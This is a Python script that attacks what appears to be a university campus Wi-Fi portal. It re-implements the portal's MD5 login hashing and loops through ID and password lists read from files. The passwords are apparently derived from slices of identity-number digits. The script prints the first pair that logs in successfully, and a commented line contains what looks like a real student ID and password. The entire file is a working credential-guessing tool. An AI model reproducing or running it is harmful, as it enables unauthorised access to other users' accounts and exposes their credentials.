import requests
import hashlib
import re
def calcMD5(pwd):
    m = hashlib.md5()
    m.update(pwd.encode('utf-8'))
    return m.hexdigest()

class wifi:
    def __init__(self):
        self.s = requests.session()
        pass
    def login(self,id,pwd,wide = True):
        data = {
            "DDDDD" : id+("@aust" if wide else ""),
            "upass" : calcMD5("2"+pwd+"12345678")+"12345678"+"2",
            "R1" : "0",
            "R2" : ("1" if wide else "0"),
            "para" : "00",
            "0MKKey" : "123456",
            "v6ip" : "",
        }
        ret = self.s.post("http://10.211.220.9/0.htm",data)
        #print (re.findall('''class="font1">(.*?)<br>''',ret.text))
        return ret.text.find("成功登录") != -1
    def quit(self):
        pass

w = wifi()

user_id = []
user_pwd = []
with open("id.txt") as file:
    user_id = file.read().split()
with open("pwd.txt") as file:
    user_pwd = file.read().split()
    if(len(user_pwd)>0 and len(user_pwd[0])):
        for index in range(len(user_pwd)):
            user_pwd[index] = user_pwd[index][10:17]
for index in range(len(user_id)):
    if w.login(user_id[index],user_pwd[index]):
        print(user_id[index])
        print(user_pwd[index])
        break
#print (w.login("2018304179","0218121"))
